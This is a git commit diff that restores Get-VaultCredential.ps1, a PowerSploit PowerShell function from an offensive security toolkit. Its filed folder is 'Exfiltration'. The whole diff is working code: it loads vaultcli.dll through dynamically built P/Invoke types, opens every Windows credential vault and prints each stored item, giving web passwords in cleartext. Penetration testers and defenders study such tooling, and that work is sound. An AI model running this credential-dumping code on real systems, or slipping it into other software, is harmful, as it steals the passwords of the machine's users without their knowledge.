Revert "Normalizing all files to ascii encoding"

This reverts commit 5a812ce82361bf65443fc9c545c091e21e98fe80.

1 files changed, 401 insertions, 0 deletions

diff --git a/Exfiltration/Get-VaultCredential.ps1 b/Exfiltration/Get-VaultCredential.ps1
index e69de29..c830fa2 100644
--- a/Exfiltration/Get-VaultCredential.ps1
+++ b/Exfiltration/Get-VaultCredential.ps1
@@ -0,0 +1,401 @@
+function Get-VaultCredential
+{
+<#
+.SYNOPSIS
+
+Displays Windows vault credential objects including cleartext web credentials.
+
+PowerSploit Function: Get-VaultCredential
+Author: Matthew Graeber (@mattifestation)
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: None
+ 
+.DESCRIPTION
+
+Get-VaultCredential enumerates and displays all credentials stored in the Windows
+vault. Web credentials, specifically are displayed in cleartext. This script was
+inspired by the following C implementation: http://www.oxid.it/downloads/vaultdump.txt
+
+.EXAMPLE
+
+Get-VaultCredential
+
+.NOTES
+
+Only web credentials can be displayed in cleartext.
+#>
+    [CmdletBinding()] Param()
+
+    $OSVersion = [Environment]::OSVersion.Version
+    $OSMajor = $OSVersion.Major
+    $OSMinor = $OSVersion.Minor
+
+    #region P/Invoke declarations for vaultcli.dll
+    $DynAssembly = New-Object System.Reflection.AssemblyName('VaultUtil')
+    $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
+    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VaultUtil', $False)
+
+    $EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_ELEMENT_TYPE', 'Public', [Int32])
+    $null = $EnumBuilder.DefineLiteral('Undefined', -1)
+    $null = $EnumBuilder.DefineLiteral('Boolean', 0)
+    $null = $EnumBuilder.DefineLiteral('Short', 1)
+    $null = $EnumBuilder.DefineLiteral('UnsignedShort', 2)
+    $null = $EnumBuilder.DefineLiteral('Int', 3)
+    $null = $EnumBuilder.DefineLiteral('UnsignedInt', 4)
+    $null = $EnumBuilder.DefineLiteral('Double', 5)
+    $null = $EnumBuilder.DefineLiteral('Guid', 6)
+    $null = $EnumBuilder.DefineLiteral('String', 7)
+    $null = $EnumBuilder.DefineLiteral('ByteArray', 8)
+    $null = $EnumBuilder.DefineLiteral('TimeStamp', 9)
+    $null = $EnumBuilder.DefineLiteral('ProtectedArray', 10)
+    $null = $EnumBuilder.DefineLiteral('Attribute', 11)
+    $null = $EnumBuilder.DefineLiteral('Sid', 12)
+    $null = $EnumBuilder.DefineLiteral('Last', 13)
+    $VAULT_ELEMENT_TYPE = $EnumBuilder.CreateType()
+
+    $EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_SCHEMA_ELEMENT_ID', 'Public', [Int32])
+    $null = $EnumBuilder.DefineLiteral('Illegal', 0)
+    $null = $EnumBuilder.DefineLiteral('Resource', 1)
+    $null = $EnumBuilder.DefineLiteral('Identity', 2)
+    $null = $EnumBuilder.DefineLiteral('Authenticator', 3)
+    $null = $EnumBuilder.DefineLiteral('Tag', 4)
+    $null = $EnumBuilder.DefineLiteral('PackageSid', 5)
+    $null = $EnumBuilder.DefineLiteral('AppStart', 100)
+    $null = $EnumBuilder.DefineLiteral('AppEnd', 10000)
+    $VAULT_SCHEMA_ELEMENT_ID = $EnumBuilder.CreateType()
+
+    $LayoutConstructor = [Runtime.InteropServices.StructLayoutAttribute].GetConstructor([Runtime.InteropServices.LayoutKind])
+    $CharsetField = [Runtime.InteropServices.StructLayoutAttribute].GetField('CharSet')
+    $StructLayoutCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($LayoutConstructor,
+                                                                                     @([Runtime.InteropServices.LayoutKind]::Explicit),
+                                                                                     $CharsetField,
+                                                                                     @([Runtime.InteropServices.CharSet]::Ansi))
+    $StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
+
+    $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM', $StructAttributes, [Object], [System.Reflection.Emit.PackingSize]::Size4)
+    $null = $TypeBuilder.DefineField('SchemaId', [Guid], 'Public')
+    $null = $TypeBuilder.DefineField('pszCredentialFriendlyName', [IntPtr], 'Public')
+    $null = $TypeBuilder.DefineField('pResourceElement', [IntPtr], 'Public')
+    $null = $TypeBuilder.DefineField('pIdentityElement', [IntPtr], 'Public')
+    $null = $TypeBuilder.DefineField('pAuthenticatorElement', [IntPtr], 'Public')
+    if ($OSMajor -ge 6 -and $OSMinor -ge 2)
+    {
+        $null = $TypeBuilder.DefineField('pPackageSid', [IntPtr], 'Public')
+    }
+    $null = $TypeBuilder.DefineField('LastModified', [UInt64], 'Public')
+    $null = $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public')
+    $null = $TypeBuilder.DefineField('dwPropertiesCount', [UInt32], 'Public')
+    $null = $TypeBuilder.DefineField('pPropertyElements', [IntPtr], 'Public')
+    $VAULT_ITEM = $TypeBuilder.CreateType()
+
+    $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM_ELEMENT', $StructAttributes)
+    $TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute)
+    $null = $TypeBuilder.DefineField('SchemaElementId', $VAULT_SCHEMA_ELEMENT_ID, 'Public').SetOffset(0)
+    $null = $TypeBuilder.DefineField('Type', $VAULT_ELEMENT_TYPE, 'Public').SetOffset(8)
+    $VAULT_ITEM_ELEMENT = $TypeBuilder.CreateType()
+
+
+    $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.Vaultcli', 'Public, Class')
+    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultOpenVault',
+                                                      'vaultcli.dll',
+                                                      'Public, Static',
+                                                      [Reflection.CallingConventions]::Standard,
+                                                      [Int32],
+                                                      [Type[]] @([Guid].MakeByRefType(),
+                                                                 [UInt32],
+                                                                 [IntPtr].MakeByRefType()),
+                                                      [Runtime.InteropServices.CallingConvention]::Winapi,
+                                                      [Runtime.InteropServices.CharSet]::Auto)
+
+    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultCloseVault',
+                                                      'vaultcli.dll',
+                                                      'Public, Static',
+                                                      [Reflection.CallingConventions]::Standard,
+                                                      [Int32],
+                                                      [Type[]] @([IntPtr].MakeByRefType()),
+                                                      [Runtime.InteropServices.CallingConvention]::Winapi,
+                                                      [Runtime.InteropServices.CharSet]::Auto)
+
+    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultFree',
+                                                      'vaultcli.dll',
+                                                      'Public, Static',
+                                                      [Reflection.CallingConventions]::Standard,
+                                                      [Int32],
+                                                      [Type[]] @([IntPtr]),
+                                                      [Runtime.InteropServices.CallingConvention]::Winapi,
+                                                      [Runtime.InteropServices.CharSet]::Auto)
+
+    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateVaults',
+                                                      'vaultcli.dll',
+                                                      'Public, Static',
+                                                      [Reflection.CallingConventions]::Standard,
+                                                      [Int32],
+                                                      [Type[]] @([Int32],
+                                                                 [Int32].MakeByRefType(),
+                                                                 [IntPtr].MakeByRefType()),
+                                                      [Runtime.InteropServices.CallingConvention]::Winapi,
+                                                      [Runtime.InteropServices.CharSet]::Auto)
+
+    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateItems',
+                                                      'vaultcli.dll',
+                                                      'Public, Static',
+                                                      [Reflection.CallingConventions]::Standard,
+                                                      [Int32],
+                                                      [Type[]] @([IntPtr],
+                                                                 [Int32],
+                                                                 [Int32].MakeByRefType(),
+                                                                 [IntPtr].MakeByRefType()),
+                                                      [Runtime.InteropServices.CallingConvention]::Winapi,
+                                                      [Runtime.InteropServices.CharSet]::Auto)
+
+    if ($OSMajor -ge 6 -and $OSMinor -ge 2)
+    {
+        $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem',
+                                                          'vaultcli.dll',
+                                                          'Public, Static',
+                                                          [Reflection.CallingConventions]::Standard,
+                                                          [Int32],
+                                                          [Type[]] @([IntPtr],
+                                                                     [Guid].MakeByRefType(),
+                                                                     [IntPtr],
+                                                                     [IntPtr],
+                                                                     [IntPtr],
+                                                                     [IntPtr],
+                                                                     [Int32],
+                                                                     [IntPtr].MakeByRefType()),
+                                                          [Runtime.InteropServices.CallingConvention]::Winapi,
+                                                          [Runtime.InteropServices.CharSet]::Auto)
+    }
+    else
+    {
+        $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem',
+                                                          'vaultcli.dll',
+                                                          'Public, Static',
+                                                          [Reflection.CallingConventions]::Standard,
+                                                          [Int32],
+                                                          [Type[]] @([IntPtr],
+                                                                     [Guid].MakeByRefType(),
+                                                                     [IntPtr],
+                                                                     [IntPtr],
+                                                                     [IntPtr],
+                                                                     [Int32],
+                                                                     [IntPtr].MakeByRefType()),
+                                                          [Runtime.InteropServices.CallingConvention]::Winapi,
+                                                          [Runtime.InteropServices.CharSet]::Auto)
+    }
+
+    $Vaultcli = $TypeBuilder.CreateType()
+    #endregion
+
+    # Helper function to extract the ItemValue field from a VAULT_ITEM_ELEMENT struct.
+    function local:Get-VaultElementValue
+    {
+        Param (
+            [ValidateScript({$_ -ne [IntPtr]::Zero})]
+            [IntPtr]
+            $VaultElementPtr
+        )
+
+        $PartialElement = [Runtime.InteropServices.Marshal]::PtrToStructure($VaultElementPtr, [Type] $VAULT_ITEM_ELEMENT)
+        $ElementPtr = [IntPtr] ($VaultElementPtr.ToInt64() + 16)
+
+        switch ($PartialElement.Type)
+        {
+            $VAULT_ELEMENT_TYPE::String {
+                $StringPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr)
+                [Runtime.InteropServices.Marshal]::PtrToStringUni([IntPtr] $StringPtr)
+            }
+
+            $VAULT_ELEMENT_TYPE::Boolean {
+                [Bool] [Runtime.InteropServices.Marshal]::ReadByte([IntPtr] $ElementPtr)
+            }
+
+            $VAULT_ELEMENT_TYPE::Short {
+                [Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr)
+            }
+
+            $VAULT_ELEMENT_TYPE::UnsignedShort {
+                [Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr)
+            }
+
+            $VAULT_ELEMENT_TYPE::Int {
+                [Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr)
+            }
+
+            $VAULT_ELEMENT_TYPE::UnsignedInt {
+                [Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr)
+            }
+
+            $VAULT_ELEMENT_TYPE::Double {
+                [Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Double])
+            }
+
+            $VAULT_ELEMENT_TYPE::Guid {
+                [Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Guid])
+            }
+
+            $VAULT_ELEMENT_TYPE::Sid {
+                $SidPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr)
+                Write-Verbose "0x$($SidPtr.ToString('X8'))"
+                $SidObject = [Security.Principal.SecurityIdentifier] ([IntPtr] $SidPtr)
+                $SidObject.Value
+            }
+
+            # These elements are currently unimplemented.
+            # I have yet to see these used in practice.
+            $VAULT_ELEMENT_TYPE::ByteArray { $null }
+            $VAULT_ELEMENT_TYPE::TimeStamp { $null }
+            $VAULT_ELEMENT_TYPE::ProtectedArray { $null }
+            $VAULT_ELEMENT_TYPE::Attribute { $null }
+            $VAULT_ELEMENT_TYPE::Last { $null }
+        }
+    }
+
+    $VaultCount = 0
+    $VaultGuidPtr = [IntPtr]::Zero
+    $Result = $Vaultcli::VaultEnumerateVaults(0, [Ref] $VaultCount, [Ref] $VaultGuidPtr)
+
+    if ($Result -ne 0)
+    {
+        throw "Unable to enumerate vaults. Error (0x$($Result.ToString('X8')))"
+    }
+
+    $GuidAddress = $VaultGuidPtr
+
+    $VaultSchema = @{
+        ([Guid] '2F1A6504-0641-44CF-8BB5-3612D865F2E5') = 'Windows Secure Note'
+        ([Guid] '3CCD5499-87A8-4B10-A215-608888DD3B55') = 'Windows Web Password Credential'
+        ([Guid] '154E23D0-C644-4E6F-8CE6-5069272F999F') = 'Windows Credential Picker Protector'
+        ([Guid] '4BF4C442-9B8A-41A0-B380-DD4A704DDB28') = 'Web Credentials'
+        ([Guid] '77BC582B-F0A6-4E15-4E80-61736B6F3B29') = 'Windows Credentials'
+        ([Guid] 'E69D7838-91B5-4FC9-89D5-230D4D4CC2BC') = 'Windows Domain Certificate Credential'
+        ([Guid] '3E0E35BE-1B77-43E7-B873-AED901B6275B') = 'Windows Domain Password Credential'
+        ([Guid] '3C886FF3-2669-4AA2-A8FB-3F6759A77548') = 'Windows Extended Credential'
+        ([Guid] '00000000-0000-0000-0000-000000000000') = $null
+    }
+
+    if ($VaultCount)
+    {
+        foreach ($i in 1..$VaultCount)
+        {
+            $VaultGuid = [Runtime.InteropServices.Marshal]::PtrToStructure($GuidAddress, [Type] [Guid])
+            $GuidAddress = [IntPtr] ($GuidAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] [Guid]))
+
+            $VaultHandle = [IntPtr]::Zero
+
+            Write-Verbose "Opening vault - $($VaultSchema[$VaultGuid]) ($($VaultGuid))"
+
+            $Result = $Vaultcli::VaultOpenVault([Ref] $VaultGuid, 0, [Ref] $VaultHandle)
+
+            if ($Result -ne 0)
+            {
+                Write-Error "Unable to open the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))"
+                continue
+            }
+
+            $VaultItemCount = 0
+            $VaultItemPtr = [IntPtr]::Zero
+
+            $Result = $Vaultcli::VaultEnumerateItems($VaultHandle, 512, [Ref] $VaultItemCount, [Ref] $VaultItemPtr)
+
+            if ($Result -ne 0)
+            {
+                $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle)
+                Write-Error "Unable to enumerate vault items from the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))"
+                continue
+            }
+
+            $StructAddress = $VaultItemPtr
+
+            if ($VaultItemCount)
+            {
+                foreach ($j in 1..$VaultItemCount)
+                {
+                    $CurrentItem = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $VAULT_ITEM)
+                    $StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $VAULT_ITEM))
+
+                    $PasswordVaultItem = [IntPtr]::Zero
+
+                    if ($OSMajor -ge 6 -and $OSMinor -ge 2)
+                    {
+                        $Result = $Vaultcli::VaultGetItem($VaultHandle,
+                                                          [Ref] $CurrentItem.SchemaId,
+                                                          $CurrentItem.pResourceElement,
+                                                          $CurrentItem.pIdentityElement,
+                                                          $CurrentItem.pPackageSid,
+                                                          [IntPtr]::Zero,
+                                                          0,
+                                                          [Ref] $PasswordVaultItem)
+                    }
+                    else
+                    {
+                        $Result = $Vaultcli::VaultGetItem($VaultHandle,
+                                                          [Ref] $CurrentItem.SchemaId,
+                                                          $CurrentItem.pResourceElement,
+                                                          $CurrentItem.pIdentityElement,
+                                                          [IntPtr]::Zero,
+                                                          0,
+                                                          [Ref] $PasswordVaultItem)
+                    }
+
+                    $PasswordItem = $null
+
+                    if ($Result -ne 0)
+                    {
+                        Write-Error "Error occured retrieving vault item. Error (0x$($Result.ToString('X8')))"
+                        continue
+                    }
+                    else
+                    {
+                        $PasswordItem = [Runtime.InteropServices.Marshal]::PtrToStructure($PasswordVaultItem, [Type] $VAULT_ITEM)
+                    }
+
+                    if ($VaultSchema.ContainsKey($VaultGuid))
+                    {
+                        $VaultType = $VaultSchema[$VaultGuid]
+                    }
+                    else
+                    {
+                        $VaultType = $VaultGuid
+                    }
+
+                    if ($PasswordItem.pAuthenticatorElement -ne [IntPtr]::Zero)
+                    {
+                        $Credential = Get-VaultElementValue $PasswordItem.pAuthenticatorElement
+                    }
+                    else
+                    {
+                        $Credential = $null
+                    }
+
+                    $PackageSid = $null
+
+                    if ($CurrentItem.pPackageSid -and ($CurrentItem.pPackageSid -ne [IntPtr]::Zero))
+                    {
+                        $PackageSid = Get-VaultElementValue $CurrentItem.pPackageSid
+                    }
+
+
+                    $Properties = @{
+                        Vault = $VaultType
+                        Resource = if ($CurrentItem.pResourceElement) { Get-VaultElementValue $CurrentItem.pResourceElement } else { $null }
+                        Identity = if ($CurrentItem.pIdentityElement) { Get-VaultElementValue $CurrentItem.pIdentityElement } else { $null }
+                        PackageSid = $PackageSid
+                        Credential = $Credential
+                        LastModified = [DateTime]::FromFileTimeUtc($CurrentItem.LastModified)
+                    }
+
+                    $VaultItem = New-Object PSObject -Property $Properties
+                    $VaultItem.PSObject.TypeNames[0] = 'VAULTCLI.VAULTITEM'
+
+                    $VaultItem
+
+                    $null = $Vaultcli::VaultFree($PasswordVaultItem)
+                }
+            }
+
+            $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle)
+        }
+    }
+}
\ No newline at end of file